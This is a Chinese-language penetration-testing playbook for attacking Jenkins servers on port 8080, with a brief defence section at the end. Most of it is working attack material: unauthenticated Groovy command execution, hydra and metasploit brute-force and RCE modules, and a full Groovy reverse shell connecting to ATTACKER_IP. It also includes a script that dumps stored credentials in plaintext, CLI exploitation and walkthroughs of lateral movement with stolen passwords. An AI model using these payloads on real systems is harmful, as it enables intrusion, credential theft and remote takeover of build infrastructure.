8080 - Jenkins 服务渗透测试

服务概述

Jenkins 是流行的 CI/CD 自动化服务器。未授权访问、脚本执行、凭据泄露是主要安全问题。

默认端口: 8080 (HTTP)
危害等级: ⭐⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script http-jenkins -p 8080 TARGET

# 手动访问
curl http://TARGET:8080

# 输出:
# <title>Jenkins</title>

版本检测

# 获取版本信息
curl http://TARGET:8080/login

# 或在 UI 中查看
# 底部显示 Jenkins 版本

常见攻击手法

1. 未授权访问

原理: Jenkins 未配置认证或配置错误。

检测:

# 访问管理面板
curl http://TARGET:8080/manage

# 如果直接访问成功,说明未授权

利用:

# 1. 访问脚本控制台
http://TARGET:8080/script

# 2. 执行 Groovy 命令
# 输入:
println "whoami".execute().text

# 3. 输出:
# nt authority\system (Windows)
# 或 root (Linux)

2. 暴力破解

原理: Jenkins 登录可暴力破解。

利用:

# hydra
hydra -l admin -P rockyou.txt http-form-post "/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid"

# 或使用 metasploit
use auxiliary/scanner/http/jenkins_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

3. 脚本控制台 RCE

原理: Jenkins 脚本控制台可执行 Groovy 代码。

利用:

// 执行命令
"whoami".execute().text

// 反弹 shell
String host="ATTACKER_IP";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)
        so.write(pi.read());
    while(pe.available()>0)
        so.write(pe.read());
    while(si.available()>0)
        po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {
        p.exitValue();
        break;
    }catch (Exception e){}
};
p.destroy();
s.close();

4. 凭据窃取

原理: Jenkins 存储的凭据可被提取。

利用:

// 脚本控制台执行
// 列出所有凭据
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.plugins.credentials.impl.*
import hudson.util.Secret

def domain = Domain.global()
def store = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0].getStore()

for (c in store.getCredentials(domain)) {
    println c.displayName
    if (c instanceof UsernamePasswordCredentialsImpl) {
        println "Username: " + c.username
        println "Password: " + c.password.getPlainText()
    }
}

5. CLI 攻击

原理: Jenkins CLI 可远程执行命令。

利用:

# 下载 CLI
curl -O http://TARGET:8080/jnlpJars/jenkins-cli.jar

# 执行命令
java -jar jenkins-cli.jar -s http://TARGET:8080/ help

# 如果未授权,可执行任意命令
java -jar jenkins-cli.jar -s http://TARGET:8080/ groovy = "whoami".execute().text

6. 插件漏洞利用

原理: Jenkins 插件存在已知漏洞。

常见漏洞:

  • CVE-2017-1000353 (CLI 反序列化)
  • CVE-2018-1000861 (权限绕过)
  • CVE-2019-1003005 (XSS)

利用:

# metasploit
use exploit/multi/http/jenkins_cli_rce
set RHOST TARGET
set RPORT 8080
run

# 或使用 CVE-2018-1000861
curl -s -I http://TARGET:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

实战案例

案例 1: 未授权访问 RCE

# 1. 检测未授权
curl http://TARGET:8080/manage

# 2. 访问脚本控制台
curl http://TARGET:8080/script

# 3. 执行命令
curl -X POST http://TARGET:8080/scriptText \
  --data "script=println%20%22whoami%22.execute().text"

# 4. 输出:
# nt authority\system

案例 2: 凭据窃取 + 横向移动

# 1. 访问脚本控制台
http://TARGET:8080/script

# 2. 执行凭据提取脚本
# (见上方 Groovy 脚本)

# 3. 获取凭据
# admin:Password123!
# deploy:DeployPass456!

# 4. 使用凭据 SSH 登录
ssh admin@TARGET2

# 5. 或使用凭据访问其他服务

案例 3: 反弹 Shell

# 1. 启动监听
nc -lvnp 4444

# 2. 在 Jenkins 脚本控制台执行
# (见上方反弹 shell 脚本)

# 3. 获取 shell
# nc 连接成功
# 执行命令

案例 4: 插件漏洞利用

# 1. 检测 Jenkins 版本
curl http://TARGET:8080/login

# 2. 查找已知漏洞
# Jenkins 2.137 之前 - CVE-2018-1000861

# 3. 使用 metasploit
use exploit/multi/http/jenkins_script_console_rce
set RHOST TARGET
set RPORT 8080
run

# 4. 获取 shell

工具

Metasploit

# Jenkins 扫描
use auxiliary/scanner/http/jenkins_login
set RHOSTS TARGET
run

# Jenkins CLI RCE
use exploit/multi/http/jenkins_cli_rce
set RHOST TARGET
run

# Jenkins 脚本控制台 RCE
use exploit/multi/http/jenkins_script_console_rce
set RHOST TARGET
run

jenkins-cli

# 下载 CLI
curl -O http://TARGET:8080/jnlpJars/jenkins-cli.jar

# 执行命令
java -jar jenkins-cli.jar -s http://TARGET:8080/ help
java -jar jenkins-cli.jar -s http://TARGET:8080/ version
java -jar jenkins-cli.jar -s http://TARGET:8080/ groovy = "code"

nmap

# Jenkins 检测
nmap --script http-jenkins -p 8080 TARGET

# Jenkins 枚举
nmap --script http-jenkins-enum -p 8080 TARGET

防御建议

服务器配置

# 1. 启用认证
# 配置 → 全局安全配置
# 启用矩阵安全

# 2. 限制脚本控制台
# 仅管理员访问

# 3. 禁用 CLI
# -Dhudson.cli.CLICommand.allow=false

# 4. 更新插件
# 定期更新所有插件

# 5. 网络隔离
# Jenkins 不暴露公网

权限控制

1. 最小权限原则
   - 用户仅必要权限
   - 禁用匿名用户

2. 凭据管理
   - 使用凭据存储
   - 定期更换密码

3. 审计日志
   - 启用访问日志
   - 监控异常操作

监控检测

# 1. 日志监控
# Jenkins 日志
# 脚本执行记录

# 2. 流量分析
tshark -i eth0 -Y "http" -T fields -e http.request.uri

# 3. 异常检测
# 脚本控制台访问
# CLI 命令执行
# 未知 IP 访问

参考链接